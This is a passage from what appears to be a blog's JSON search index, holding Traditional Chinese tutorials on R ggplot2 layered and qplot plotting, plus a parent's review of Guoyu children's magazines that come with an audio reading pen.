程式碼，並將程式的文字與圖形輸出直接放進簡報中，對於以 R 語言為主的簡報非常好用，以下是 Slidify 的安裝與簡單的使用教學。\u003c/p\u003e","title":"RStudio R 簡報製作教學：使用 RMarkDown 與 Slidify"},{"content":"這裡介紹 ggplot 函數的基本圖層式繪圖使用方式。\nggplot 系統在繪圖時是以一種圖層式的概念在建立圖形的，每一張圖層上的資料可以有不同的來源、美學對應，而簡單版的 qplot 只允許單一資料來源以及一組美學對應，若要完全發揮 ggplot 系統的功能，就必須使用它的 ggplot 函數配合各式的圖層函數，這樣才能畫出更有彈性的圖形。\n建立圖形物件 在使用 qplot 繪圖時，它其實自動幫使用者做了很多工作，從建立基本圖形物件、增加圖層到顯示繪圖結果等流程，以及選用各種的預設繪圖選項等，雖然這樣使用者非常方便就可以快速產生一張可用的圖形，不過同時也讓繪圖的彈性降低、可用的選項減少，無法繪製出比較複雜的圖形。\n在 ggplot 系統上若要以標準的繪圖流程來畫圖，首先要使用 ggplot 這個函數來建立基本繪圖物件，其第一個 data 參數是指定資料來源的 data frame，而第二個 mapping 參數則是指定美學對應（aesthetic mapping），這兩個參數是設定繪圖的物件的預設值，若在這裡沒有設定的話，也可以在後續加入的圖層中再設定。\nmapping 參數所指定的美學對應跟 qplot 中所使用的相同，只不過在這裡必須將對應的參數用 aes 函數包裝起來。下面這個範例是將 carat 變數對應到 x 軸、price 變數對應到 y 軸，而以顏色區隔 cut 變數。\nmy.plot \u0026lt;- ggplot(diamonds, aes(carat, price, colour = cut)) 這裡建立的 my.plot 只是一個基本的繪圖物件，尚未包含任何圖層，所以還無法顯示任何圖形。\n圖層 一個只包含 geom 參數的圖層是一個最簡單的圖層，其指定了繪製資料時所使用的幾何圖形。若在前面建立的繪圖物件上再加入一個 geom 指定為 point 的圖層，即可產生一張散佈圖：\nmy.plot \u0026lt;- my.plot + layer( geom = \u0026#34;point\u0026#34;, stat = \u0026#34;identity\u0026#34;, position = \u0026#34;identity\u0026#34;, params = list(na.rm = FALSE) ) 這裡我們以加號（+）將圖層疊加至既有的繪圖物件上，被加入的新圖層會直接使用該繪圖物件上的資料來源以及美學對應參數。除了指定 geom 參數之外，另外還有兩個 stat 與 position 參數也要自行指定，這兩個參數可用來指定統計轉換與細部的幾何圖形位置調整，若不需要特別的轉換與調整的話，就指定為 \u0026quot;identity\u0026quot;。params 則是用來指定 geom 與 stat 所需要的參數。\n若要顯示圖形則將此繪圖物件輸出即可：\nmy.plot 若要繪製直方圖的話，要指定的參數就會稍微複雜一些：\nmy.plot2 \u0026lt;- ggplot(diamonds, aes(x = carat)) my.plot2 \u0026lt;- my.plot2 + layer( geom = \u0026#34;bar\u0026#34;, stat = \u0026#34;bin\u0026#34;, position = \u0026#34;identity\u0026#34;, params = list( fill = \u0026#34;steelblue\u0026#34;, binwidth = 0.2, na.rm = FALSE ) ) my.plot2 在產生直方圖時，我們需要使用 bin 這個統計轉換來計算直方圖每個 bin 的數值，然後再使用 bar 這個 geom 呈現圖形，標準的圖層建立程序可以讓使用者有很大的彈性，但相對上需要的操作也相當繁瑣。\n為了簡化繪圖的工作，ggplot 系統上提供了非常多建立圖層用的簡化圖層函數，在使用者取用 geom 的同時也自動加上預設的 stat 與 position，同樣的在取用 stat 時也會伴隨預設的 geom，使用者只需要很直覺地指定少量的參數即可。\nggplot 中的簡化圖層函數都是以 geom_* 與 stat_* 的方式命名的，通常從函數的名稱就可以看出其作用為何。改用簡化圖層函數之後，建立 ggplot 圖層的動作就會變得很簡單，以上面繪製直方圖的範例來說，若以 geom_histogram 這個繪製直方圖的簡化圖層函數改寫後，就會變成這樣：\nmy.plot3 \u0026lt;- ggplot(diamonds, aes(x = carat)) my.plot3 \u0026lt;- my.plot3 + geom_histogram(binwidth = 0.2, fill = \u0026#34;steelblue\u0026#34;) my.plot3 產生的圖形相同，但是操作卻簡單很多。\n大部分的 ggplot 的簡化圖層函數都有一些共通的參數：\nmapping：指定美學對應，指定時需要以 aes 函數包裝，若沒有指定則會使用繪圖物件的預設值。 data：指定資料來源的 data frame，通常都會省略，並直接使用繪圖物件的預設值。 ...：geom 與 stat 所使用的參數，例如直方圖的 bin 寬度等。 geom 與 stat：自行指定要使用的 geom 與 stat，改變預設的設定。 position：指定細部的資料位置調整。 以上這些參數都可以省略，不指定的話就會使用內部的預設值。\n在 ggplot 函數與圖層函數的參數順序有些小差異，在 ggplot 中第一個參數是 data、第二個是 mapping，但是在圖層函數中剛好相反，這樣的設計是因為一般在使用 ggplot 繪圖時，通常都會在 ggplot 中指定資料，而加入圖層時只會指定美學對應的參數。\nggplot 的圖層可以直接加在 ggplot 或 qplot 所產生的繪圖物件上，事實上 qplot 只是將建立繪圖物件與加入圖層的動作包裝成一個函數而已，其效果跟 ggplot 函數是相同的。\n以下是幾種 ggplot 與 qplot 的寫法比較。\n# 做法一 ggplot(msleep, aes(sleep_rem / sleep_total, awake)) + geom_point() # 做法二 qplot(sleep_rem / sleep_total, awake, data = msleep) 加入平滑曲線的範例：\n# 做法一 qplot(sleep_rem / sleep_total, awake, data = msleep) + geom_smooth() # 做法二 qplot(sleep_rem / sleep_total, awake, data = msleep, geom = c(\u0026#34;point\u0026#34;, \u0026#34;smooth\u0026#34;)) # 做法三 ggplot(msleep, aes(sleep_rem / sleep_total, awake)) + geom_point() + geom_smooth() 儲存在變數當中的 ggplot 繪圖物件可以使用 summary 查看其內容，透過這種方式可以在不需要把圖形畫出來的情況下檢查圖形的細節：\nmy.plot4 \u0026lt;- ggplot(msleep, aes(sleep_rem / sleep_total, awake)) summary(my.plot4) data: name, genus, vore, order, conservation, sleep_total, sleep_rem, sleep_cycle, awake, brainwt, bodywt [83x11] mapping: x = sleep_rem/sleep_total, y = awake faceting: facet_null() my.plot4 \u0026lt;- my.plot4 + geom_point() summary(my.plot4) data: name, genus, vore, order, conservation, sleep_total, sleep_rem, sleep_cycle, awake, brainwt, bodywt [83x11] mapping: x = sleep_rem/sleep_total, y = awake faceting: facet_null() ----------------------------------- geom_point: na.rm = FALSE stat_identity: na.rm = FALSE position_identity ggplot 的圖層本身就是一種 R 的物件，也可以儲存在變數當中，減少重複的程式碼，例如我們可以用不同的資料來源來建立多個繪圖物件，然後套用相同的圖層，若後來要更換圖層時，也僅需要更改一個地方。以下的範例中我們建立了一個圖層，套用在不同的繪圖物件上。\nbestfit \u0026lt;- geom_smooth(method = \u0026#34;lm\u0026#34;, se = F, color = alpha(\u0026#34;steelblue\u0026#34;, 0.5), size = 2) qplot(sleep_rem, sleep_total, data = msleep) + bestfit qplot(awake, brainwt, data = msleep, log = \u0026#34;y\u0026#34;) + bestfit qplot(bodywt, brainwt, data = msleep, log = \u0026#34;xy\u0026#34;) + bestfit 資料來源 ggplot 的資料來源一定要是 data frame，它不像 R 的其他繪圖系統一樣同時可以接受一般的向量，而這樣嚴格的設計也是有它的優點，除了讓程式碼的語法統一之外，也可以方便置換資料，直接以既有的圖層組合產生新的圖形。\n若要改變一個 ggplot 繪圖物件的資料來源，可以使用 %+% 運算子：\nmy.plot5 \u0026lt;- ggplot(mtcars, aes(mpg, wt, colour = cyl)) + geom_point() my.plot5 使用 %+% 運算子抽換資料來源的 data frame：\nmtcars.trans \u0026lt;- transform(mtcars, mpg = mpg ^ 2) my.plot5 %+% mtcars.trans ggplot 在指定資料來源之後，會將資料複製一份並儲存在繪圖物件當中，後續若資料更動時，ggplot 的繪圖並不會受影響，另外由於這樣的特性，我們可以將 ggplot 繪圖物件儲存至硬碟中，之後重新載入與繪圖時也不需要載入其餘任何資料。\n美學對應 美學對應中敘述了資料中的各個變數如何與圖形上的各種屬性對應，指定美學對應的各種參數時要使用 aes 函數包裝起來，例如：\naes(x = weight, y = height, color = age) 這個設定會將 x 軸指定為 weight 變數、y 軸指定為 height 變數，而顏色（color）則是指定為 age 變數。這些變數都會從資料來源的 data frame 中取得，不需要以錢字號的方式指定，這種設計可以讓使用者將所需要使用的變數都包裝在一個 data frame 中，方便統一管理。\n在指定對應關係時，也可以運用各種數學函數：\naes(weight, height, colour = sqrt(age)) 在 aes 中只能使用繪圖物件或圖層資料來源 data frame 中的變數，不可以指定為其他全域的變數，這個限制是要確保每一個 ggplot 物件本身都可以獨立運作，在經過儲存與重新載入之後也不會有問題。\n繪圖與圖層 預設的美學對應可以在繪圖物件建立時就指定，這是比較常見的使用方式：\nmy.plot6 \u0026lt;- ggplot(mtcars, aes(x = mpg, y = wt)) my.plot6 \u0026lt;- my.plot6 + geom_point() summary(my.plot6) data: mpg, cyl, disp, hp, drat, wt, qsec, vs, am, gear, carb [32x11] mapping: x = mpg, y = wt faceting: facet_null() ----------------------------------- geom_point: na.rm = FALSE stat_identity: na.rm = FALSE position_identity 除此之外，也可以在繪圖物件建立之後，再加上 aes 來指定：\nmy.plot7 \u0026lt;- ggplot(mtcars) my.plot7 \u0026lt;- my.plot7 + aes(x = mpg, y = wt) my.plot7 \u0026lt;- my.plot7 + geom_point() summary(my.plot7) data: mpg, cyl, disp, hp, drat, wt, qsec, vs, am, gear, carb [32x11] mapping: x = mpg, y = wt faceting: facet_null() ----------------------------------- geom_point: na.rm = FALSE stat_identity: na.rm = FALSE position_identity 在繪圖物件中的美學對應設定可以在圖層中增加、修改或刪除，例如：\nmy.plot7 + geom_point(aes(colour = factor(cyl))) my.plot7 + geom_point(aes(y = disp)) 如果要刪除某一個美學對應參數，就把該參數設定為 NULL 即可，例如：\naes(y = NULL) 在圖層中更改美學對應的設定，其效果只會影響該圖層本身，對全域的設定沒有影響。\n設定與對應 除了將美學對應以 aes 函數指定為資料的變數之外，也可以使用一般參數的方式指定為一個固定的值，例如將資料點的顏色指定為藍色：\nmy.plot8 \u0026lt;- ggplot(mtcars, aes(mpg, wt)) my.plot8 + geom_point(colour = \u0026#34;blue\u0026#34;) 這裡在指定資料點的顏色時，並沒有加上 aes 函數，這種指定方式就是單純將資料點的顏色「設定」為藍色，這個做法跟加上 aes 函數的狀況完全不同。\nmy.plot8 + geom_point(aes(colour = \u0026#34;blue\u0026#34;)) 加上 aes 函數之後是代表一種「對應」關係，這樣會在內部產生一個值為 \u0026quot;blue\u0026quot; 的變數，然後將顏色屬性對應到該變數，由於這個變數是只有一個值的類別型變數，所以在上色時會從預設的色盤上取出第一種顏色來為資料點上色，而預設的第一種顏色就是這裡看到的粉紅色。\n如果在 qplot 函數中要設定這種固定的參數時，要額外使用 I 函數將參數值包起來，也就是 color = I(\u0026quot;blue\u0026quot;)。\n群組（Grouping） 在 ggplot 系統中的幾何圖形（geom）大致可分為個體型與集合型兩大類，個體型的幾何圖形在表現資料時，data frame 中的每一筆資料（亦即每一列）都會以一個幾何圖形呈現，例如 point 會以一個資料點表示一筆資料，而集合型的幾何圖形則會以一個幾何圖形表現多筆資料，通常這些資料都會先經過一些統計轉換，例如直方圖等。至於 line 與 path 則是介於兩者之間的幾何圖形，整條線雖然代表一組資料，但其中每一條線段都代表兩筆資料。\n在 ggplot 系統上資料與幾何圖形之間的對應是由群組（group）這個美學對應所負責的，在預設的設定之下，ggplot 會以圖形上所有的類別型資料為基準來區分資料，大部分的狀況下這樣的設定都可以畫出使用者想要的結果，但若這樣的設定不符合使用者的需求，或是圖形上沒有類別型的資料時，就會需要自行指定群組的設定，也就是要自行指定一個可以用來區分組別的變數。\ninteraction 函數可以協助使用者將多個變數組合成一個，方便建立分組用的變數。\n基本群組 這裡我們以 nlme 套件中的 Oxboys 資料集來做示範，在這個資料集中包含了許多個體的時間序列資料，如果只是單純將時間序列畫出來，圖形會有問題：\nmy.plot9 \u0026lt;- ggplot(Oxboys, aes(age, height)) + geom_line() 上面的圖形是將所有個體的資料都混合在一起繪製，但我們通常會希望依據個體區分，畫出多條時間序列的線條，這時候就可以加上 group 參數，並將其指定為個體的變數：\nmy.plot9 \u0026lt;- ggplot(Oxboys, aes(age, height, group = Subject)) + geom_line() 圖層與群組 有時候我們會希望在圖形上加上一些標示總體趨勢的幾何圖形，讓整個圖形除了有每個個體的細部資訊之外，也可以同時呈現整體的資料分佈走向。在上面這個例子中若要加上一條線性迴歸線，可以使用 geom_smooth 配合 method = \u0026quot;lm\u0026quot; 參數，不過若只是這樣加上去，結果可能不如預期：\nmy.plot9 + geom_smooth(method=\u0026#34;lm\u0026#34;, se = F) 由於我們在繪圖物件中已經設定了 group 參數，所以再加上迴歸線的圖層時，也會套用該 group 的設定，也就是說它會對每一個個體畫出各自的迴歸線，但我們想要的是使用全部的資料畫出一條迴歸線，這時候就可以將 group 設定為一個固定的值，也就是取消群組的功能：\nmy.plot9 + geom_smooth(aes(group = 1), method=\u0026#34;lm\u0026#34;, size = 2, se = F) 在加入圖層時透過指定新的群組設定，就可以做出很多的變化。\n下面這個圖是將 height 依據 Occasion 畫出的箱形圖：\nboysbox \u0026lt;- ggplot(Oxboys, aes(Occasion, height)) + geom_boxplot() 由於在繪製箱形圖時是使用 Occasion 這個離散型的變數，所以預設的狀況下就會以這個變數分組，所以不需要特別指定 group 參數。接著如果要將每個個體的資料標示出來，就會需要自行指定分組的方式：\nboysbox + geom_line(aes(group = Subject), color = \u0026#34;blue\u0026#34;) 在這裡我們使用 geom_line 配合 group 參數，讓它依據 Subject 區分資料，畫出每個個體的資料，並且另外加上 color 參數設定線條顏色。\n美學對應與幾何圖形 個體型的幾何圖形在美學對應上很單純，個別資料的美學對應性質都是以一對一的方式對應到幾何圖形上，但是對於集合型的幾何圖形而言，就會是一個問題。\n如果是在繪製 line 或是 path 的線段時，第一條線段會使用第一個點的顏色，而第二條線段會使用第二個點的顏色，以次類推，也就是說最後一個點的顏色並不會被使用到。\nmy.df \u0026lt;- data.frame(x = 1:3, y = 1:3, z = 1:3) qplot(x, y, data = my.df, color = factor(z), size = I(5)) + geom_line(size = 3, group = 1) 至於其他類型的集合型幾何圖形，只有在每一筆資料的屬性都相同時才會被使用，否則就會直接使用預設值，這個問題通常只會發生在連續型的變數上，因為如果是類別型的變數在使用時，ggplot 會自動將資料依據變數分組，所以每一組內部的變數值都會是一樣的，這個狀況在繪製直方圖時很常見。\nqplot(color, data = diamonds, geom = \u0026#34;bar\u0026#34;, fill = cut) 幾何圖形（Geom） 幾何圖形是一個圖形中最主要的繪圖部分，它可以控制圖形的類型，例如 point 可以產生散佈圖、line 可以產生折線圖，下表是各種在 ggplot 系統中可用的幾何圖形。\n幾何圖形 說明 abline 以斜率與截距來指定的直線。 bar 長條圖。 bin2d heatmap。 blank 空圖層。 boxplot 箱形圖。 contour 等高線圖。 count 計算每個位置的數目。 crossbar lines, crossbars and errorbars。 density 密度函數圖。 density_2d 二維密度函數圖。。 dotplot dot plot。 errorbarh Horizontal error bars。 freqpoly 直方圖。 hex Hexagon binning。 jitter jitter 資料點。 label 文字標示。 map 地圖。 path 路徑。 point 資料點。 polygon 多邊形。 quantile Add quantile lines from a quantile regression。 raster 方形區域。 ribbon 區間。 rug rug plot。 segment 線段與曲線。 smooth 平滑曲線。 violin 小提琴圖。 最新的幾何圖形列表請參考 ggplot 的官方網站。\n不同的幾何圖形可接受的美學對應參數都不同，而每一種幾何圖形都有預設的統計轉換，這些詳細的參數說明可以參考 ggplot 的官方網站。\n統計轉換（Stat） 統計轉換是指將原始的資料經過某些計算，轉換為比較精簡、容易呈現的資料，例如平滑曲線就是一種很有用的統計轉換，它可以依據資料的分佈算出一條平滑曲線，呈現資料大致上的走向，最新的各種統計轉換可以從 ggplot 的官方網站查詢。\n統計轉換會使用資料來源的 data frame 作為輸入，而計算完之後會輸出新的 data frame，所以我們甚至可以在美學對應上使用統計轉換中所產生的變數。例如 stat_bin 這個用於建立直方圖的統計轉換就會產生以下幾個變數：\ncount：每個 bin 的資料點數。 density：每個 bin 的資料點數比例。 ncount：將 count 標準化，最大值為 1。 ndensity：將 density 標準化，最大值為 1。 這些由統計轉換所產生的變數，在某些圖形上可以用來替代原始的資料，例如直方圖預設會以資料的數量作為高度，如果想要改以密度為單位，就可以使用 density 這個變數：\nggplot(diamonds, aes(carat)) + geom_histogram(aes(y = ..density..), binwidth = 0.1) 要取用統計轉換所產生的變數時，必須前後加上 ..（例如 ..density..），這是為了與原始資料的變數有所區隔，也可以讓程式碼在閱讀上更清晰。在 qplot 函數中也可以使用這樣的方式取用統計轉換所產生的變數：\nqplot(carat, ..density.., data = diamonds, geom=\u0026#34;histogram\u0026#34;, binwidth = 0.1) 位置調整（Position） 位置調整的功能主要是用於調整圖層中幾何圖形的比較細微的位置選項，處理繪圖時資料重疊的問題，通常用於類別型的資料。下表是 ggplot 系統中可用的位置調整選項。\n位置調整選項 說明 dodge 並列顯示。 fill 標準化堆疊顯示。 identity 不調整位置。 jitter 使用 jitter 方式避免資料點重疊。 stack 堆疊顯示。 要理解這些選項的差異，從直方圖上來看會比較明顯。\nggplot(diamonds, aes(clarity, fill=cut)) + geom_bar(position=\u0026#34;dodge\u0026#34;) ggplot(diamonds, aes(clarity, fill=cut)) + geom_bar(position=\u0026#34;fill\u0026#34;) ggplot(diamonds, aes(clarity, fill=cut)) + geom_bar(position=\u0026#34;stack\u0026#34;) identity 適合用在一般的折線圖：\nggplot(diamonds, aes(clarity, group = cut)) + geom_line(aes(color = cut), position=\u0026#34;identity\u0026#34;, stat = \u0026#34;count\u0026#34;) jitter 通常適用於以資料點繪製類別型資料的情況：\nset.seed(5) diamonds.subset \u0026lt;- diamonds[sample(nrow(diamonds), 500), ] ggplot(diamonds.subset, aes(clarity, cut)) + geom_point(aes(color = color), position=\u0026#34;jitter\u0026#34;) 幾何圖形與統計轉換 結合 ggplot 的幾何圖形與統計轉換可以讓使用者產生各種新穎的圖形，以下幾張圖是以 count 這個統計轉換後，配合不同的幾何圖形所得到的結果。\nmy.plot \u0026lt;- ggplot(diamonds, aes(carat)) + xlim(0, 3) my.plot + stat_bin(aes(ymax = ..count..), binwidth = 0.1, geom = \u0026#34;area\u0026#34;) my.plot + stat_bin( aes(size = ..density..), binwidth = 0.1, geom = \u0026#34;point\u0026#34;, position=\u0026#34;identity\u0026#34; ) 轉換完的資料 如果您有一些已經經過統計轉換的資料，只是想要單純將資料畫出來，可以使用 stat_identity 這個統計轉換，它會依據原始資料的類型直接選擇適合幾何圖形來呈現。\n不同的資料來源 ggplot 有一個比較特別的功能就是可以讓不同的圖層有不同的資料來源，可以將相關的幾個資料集畫在一起，例如在使用模型預測資料時，繪製預測值。\nlibrary(nlme) model \u0026lt;- lme(height ~ age, data = Oxboys, random = ~ 1 + age | Subject) age_grid \u0026lt;- seq(-1, 1, length = 10) subjects \u0026lt;- unique(Oxboys$Subject) preds \u0026lt;- expand.grid(age = age_grid, Subject = subjects) preds$height \u0026lt;- predict(model, preds) 畫出模型的預測值：\nmy.plot \u0026lt;- ggplot(Oxboys, aes(age, height, group = Subject)) + geom_line() my.plot + geom_line(data = preds, colour = \u0026#34;#3366FF\u0026#34;, size= 0.4) 畫出模型的殘差值，並加入平滑曲線：\nOxboys$fitted \u0026lt;- predict(model) Oxboys$resid \u0026lt;- with(Oxboys, fitted - height) my.plot %+% Oxboys + aes(y = resid) + geom_smooth(aes(group=1)) ","permalink":"https://blog.gtwang.org/r/ggplot2-tutorial-layer-by-layer-plotting/","summary":"\u003cp\u003e這裡介紹 \u003ccode\u003eggplot\u003c/code\u003e 函數的基本圖層式繪圖使用方式。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eggplot\u003c/code\u003e 系統在繪圖時是以一種圖層式的概念在建立圖形的，每一張圖層上的資料可以有不同的來源、美學對應，而簡單版的 \u003ccode\u003eqplot\u003c/code\u003e 只允許單一資料來源以及一組美學對應，若要完全發揮 \u003ccode\u003eggplot\u003c/code\u003e 系統的功能，就必須使用它的 \u003ccode\u003eggplot\u003c/code\u003e 函數配合各式的圖層函數，這樣才能畫出更有彈性的圖形。\u003c/p\u003e","title":"R ggplot2 教學：圖層式繪圖"},{"content":"國語幼兒月刊與國語週刊是可以使用音筆點擊的幼兒學習刊物，我個人感覺內容還不錯。\n訂閱國語幼兒月刊之後，每個月月初都會寄一本來，就像這樣。\n這是一期國語幼兒月刊的內容，一本月刊、一本練習簿、一張勞作的厚紙卡，還有一張 CD，有時候還會多附贈一張配合當月教材的影片或遊戲 DVD。\n這是國語幼兒月刊的內容。\n在一開始訂閱國語幼兒月刊時，會送一隻音筆，小朋友可以使用這隻音筆來輔助自行閱讀。\n裡面的內容包含一隻音筆與一條 USB 傳輸線。\n音筆上面有操作按鈕，有電源、唱歌點讀切換與音量三個按鈕。\n側面則是 USB 與耳機插孔，在使用前要先使用 USB 線連接電腦，將月刊 CD 中的音筆檔案複製到音筆中，才能開始使用。\n音筆使用兩顆四號電池，如果時常使用的話，建議使用可充電的電池。\n電池盒下面是 MicroSD 記憶卡，如果容量不夠用，可以自己換大一點的，不過通常不太可能不夠。\n當音筆準備好之後，就可以讓小朋友用音筆點擊月刊上的內容，點擊之後音筆就會播放教材的內容。例如若點擊月刊上的 CD 圖案，就會播放該片完整的故事。\n如果點擊月刊中的圖畫內容，就會播放這個圖案的名稱，小朋友可以很方便的自己學習。\n這是月刊附贈的練習本，這個應該要家長陪著做才行。\n練習本通常會附上一些貼紙，透過貼紙的方式來做練習本的題目。\n我們家阿玄在訂了國語幼兒月刊之後，每個月都很喜歡看。不過練習本就比較少做，都只拿貼紙來玩而已。\n另外還有國語週刊的美語 ABC 月刊，不過這本的內容比較深，適合有一些英文基礎的小朋友來學，所以我們訂了之後比較少在看，要等阿玄在大一點再拿出來看。\n這是國語週刊美語 ABC 月刊的內容，包含一本月刊、一本練習簿、一片 CD。\n這是美語 ABC 月刊的內容，這本同樣也可以使用音筆來點擊。\n這是美語 ABC 月刊的練習本，它適合有一定英文程度的小朋友。\n另外還有每週一份的國語週刊。\n這是國語週刊的內容。\n一期國語週刊總共有 16 個版面。\n有些版面還有漫畫。\n若想要訂購的話，可以直接跟他們的業務聯絡。\n","permalink":"https://blog.gtwang.org/children/guoyu-children-books/","summary":"\u003cp\u003e國語幼兒月刊與國語週刊是可以使用音筆點擊的幼兒學習刊物，我個人感覺內容還不錯。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e訂閱國語幼兒月刊之後，每個月月初都會寄一本來，就像這樣。\u003c/p\u003e","title":"可用音筆點擊的國語幼兒月刊、國語週刊、美語 ABC"},{"content":"這裡介紹如何使用 R 的 ggplot2 繪圖套件，輕鬆畫出高品質的各種統計圖形。\nggplot 是以繪圖文法概念為基礎所發展出來的一套 R 繪圖系統，可繪製各種高品質圖形的 R 繪圖套件，是一套相當受歡迎的繪圖工具。\n在使用上，ggplot 這種繪圖系統不同於以往傳統式的 R 繪圖方式，使用者不會受限於既有的固定功能，可以依照自己的需求組合各種圖形組件、任意調整圖形，產生各種變化，相當富有彈性，而其畫出來的圖形品質也非常好，通常使用預設的設定值就可以很容易地產生出版品水準的圖形。\n在傳統的 R 繪圖系統之下，一般的繪圖工具所提供的只是一些固定的繪圖功能，頂多加上一些微調參數讓使用者做些微的調整，若要自行設計新的圖形，使用者能使用的繪圖組件只有資料點、線條等低階的元素，既有的高階圖形完全無法重複使用。\n在 ggplot 系統之下，繪圖文法的設計可以讓使用者以更高階的思維模式來設計繪圖，有許多既有的高階圖形元素可以使用，例如資料的呈現以及統計上的資料轉換方式等，使用者只要運用這些 ggplot 系統下的元件，就可以快速組裝出適用於自己的圖形。\n以下我們將從 ggplot 繪圖系統的基礎概念開始介紹，敘述如何使用這個系統中的各種繪圖組件創建各式各樣的圖形，同時也會提供各種常用圖形的範例，縱使在不熟悉 ggplot 的繪圖概念之下，也可以畫出自己需要的圖形。\nggplot 繪圖文法 繪圖文法（grammar of graphics）的概念最早是由 Wilkinson 所提出來的，其主要用來解釋統計圖形（statistical graphic）的概念，而後來 Wickham 則是以 Wilkinson 的繪圖文法理論為基礎，做了一些調整後應用於 R 語言中，發展出了 ggplot 這個繪圖系統。\nggplot 系統將圖形視為一個從資料開始的一連串轉換，轉換的過程中間有很多道程序，包含幾何圖案、顏色與大小等美學屬性、統計量的計算與座標系統等，一個圖形就是原始資料結合這些轉換之後的結果。\n資料來源（data）：指定原始資料來源的 data frame。 美學對應（aesthetic）：指定原始資料與圖形之間的對應關係，例如哪一個變數要當作 x 座標變數，而哪一個要當作 y 座標變數，還有資料繪圖時的樣式等。 幾何圖案（geometry）：要用什麼幾何圖形繪製資料，例如點、線條、多邊形等。 繪圖面（facet）：指定如何將資料分散在多張子圖形中繪製，以利互相比較。 統計轉換（statistical transformation）：指定如何以將資料轉換為各種統計量，例如將連續型資料轉為離散型的類別。 座標系統（coordinate system）：指定繪圖時所使用的座標系統，除了常見的笛卡兒直角座標系統，也可以使用極坐標或地圖投影（map projection）。 主題（theme）：控制資料以外的繪圖組件，例如座標軸、說明文字等。 簡單的圖形只要有資料來源、美學對應以及幾何圖案的設定就可以畫出來了，而其餘轉換則是可以依照需求自行增減，以下我們將陸續介紹各種轉換的組件與使用方式。\n安裝 ggplot2 套件 在使用 ggplot 繪圖之前，請先安裝 ggplot2 這個 R 套件，這個套件在 R 官方的套件庫中就有收錄，使用 install.packages 安裝即可：\ninstall.packages(\u0026#34;ggplot2\u0026#34;) 接著載入 ggplot2 套件：\nlibrary(ggplot2) qplot 函數 qplot 函數是 ggplot 系統中最基本的一個繪圖函數，它的設計類似傳統 plot 函數，方便讓初次使用 ggplot 的使用者快速上手，繪製一些基本的圖形。\n這裡我們以一組 R 內建的 diamonds 資料集來示範 qplot 的用法，這組資料預設就內建在 ggplot2 套件中，在 ggplot2 套件安裝後即可使用。\ndiamonds 資料集中包含了大約五萬多顆鑽石的資料，其中包含鑽石的 4C 品質指標，亦即顏色（color）、淨度（clarity）、切磨（Cut）與克拉（carat），另外還包含了幾個鑽石的尺寸資訊，詳細說明可參考 diamonds 的線上手冊。\n首先我們用 head 稍微看一下 diamonds 資料集中的實際資料：\nhead(diamonds) 由於 diamonds 資料集的資料有五萬多筆，有些圖形會需要使用較少量的資料做示範，所以我們另外抽樣出 100 筆，儲存在 diamonds.subset 這個 data frame 中：\nset.seed(5) diamonds.subset \u0026lt;- diamonds[sample(nrow(diamonds), 100), ] 基本用法 qplot 的用法與傳統的 plot 類似，前兩個參數分別是 x 軸與 y 軸的座標資料：\nqplot(diamonds$carat, diamonds$price) 另外也可以使用 data 參數指定資料來源的 data frame，這種方式會讓指令比較簡潔：\nqplot(carat, price, data = diamonds) 這張圖顯示了鑽石的價格（price）與它的克拉數（carat）有明顯的關係，不過這個關係看起來不是線性的，我們可以將變數透過對數（log）轉換一下：\nqplot(log(carat), log(price), data = diamonds) 經過對數轉換之後，看起來就呈現比較好的線性關係。\n我們也可以使用多個變數進行運算之後，作為 x 軸或 y 軸的座標值：\nqplot(carat, x * y * z, data = diamonds) 這裡我們拿 diamonds 的 x、y、z 三個變數相乘，當作 y 軸的座標，畫出與 carat 的關係圖，看起來大部分鑽石的體積都跟重量成正比，也就是密度都差不多，不過也有許多 outliers。\n圖形樣式 qplot 有提供一些參數可以讓使用者更改資料點的顏色、大小等樣式，而且在使用上會比傳統的 plot 函數更方便，在使用 plot 更改資料點的樣式時，使用者必須自行將類別型的資料轉換為 plot 可以接受的數值或名稱（例如 red、blue 等），而 qplot 則是可以自動處理這些繁瑣的動作，並且在圖形上加入圖示說明（legend）。\n假設我們想要依據 diamonds 中的 color 變數來替資料點著色，區別不同顏色的鑽石，可以使用 color 參數：\nqplot(carat, price, data = diamonds.subset, color = color) 若要以資料點的形狀區分資料，可使用 shape：\nqplot(carat, price, data = diamonds.subset, shape = cut) 資料點的顏色與形狀都是屬於 ggplot 系統上的美學對應。\n這裡的鑽石資料總共有五萬多筆，一次畫在同一張圖形上會造成大量的資料點重疊問題，看不出實際的資料分佈，我們將資料點加上透明度的參數，這樣可以比較容易辨識實際的資料分佈情況：\nqplot(carat, price, data = diamonds, alpha = I(1/10)) qplot(carat, price, data = diamonds, alpha = I(1/100)) 隨著資料類型的不同，適合的資料呈現方式也不同，例如類別型的資料就適合使用顏色、形狀來區隔，而若是連續型的資料則可以使用資料點的大小來表示；至於資料量的多寡也會有影響，資料量多的時候，除了使用透明度的技巧，也可以考慮以繪圖面（facet）繪出多張圖形的方式，避免過多的資料擠在同一張圖上難以區分。\n各式圖形 qplot 可繪製的圖形並不限於簡單的散佈圖，其 geom 參數可以設定用來呈現資料所使用的幾何圖形，我們可以藉著調整此參數來做出各種變化，有些 geom 參數還會伴隨一些統計量的計算（例如顯示直方圖的同時也需要計算每個 bin 的統計量），以下是一些在呈現二維資料時比較常用的 geom 選項：\n\u0026quot;point\u0026quot;：使用點的方式呈現資料，這也是 qplot 在繪製二維資料時預設的方式。 \u0026quot;smooth\u0026quot;：以 smoother 配適資料，畫出平滑曲線與標準誤差（standard error）。 \u0026quot;boxplot\u0026quot;：以箱形圖呈現資料分佈情形。 \u0026quot;path\u0026quot;：以線段連接每一個資料點。 \u0026quot;line\u0026quot;：類似 \u0026quot;path\u0026quot;，但 \u0026quot;line\u0026quot; 只能產生由左至右的線段圖形。 對於一維的資料，常用的 \u0026quot;geom\u0026quot; 參數如下：\n\u0026quot;histogram\u0026quot;：直方圖，適用於連續型的資料，在資料是一維的情況下，預設會使用此方式。 \u0026quot;freqpoly\u0026quot;：類似直方圖，但以折線表示。 \u0026quot;density\u0026quot;：密度函數圖，適用於連續型的資料。 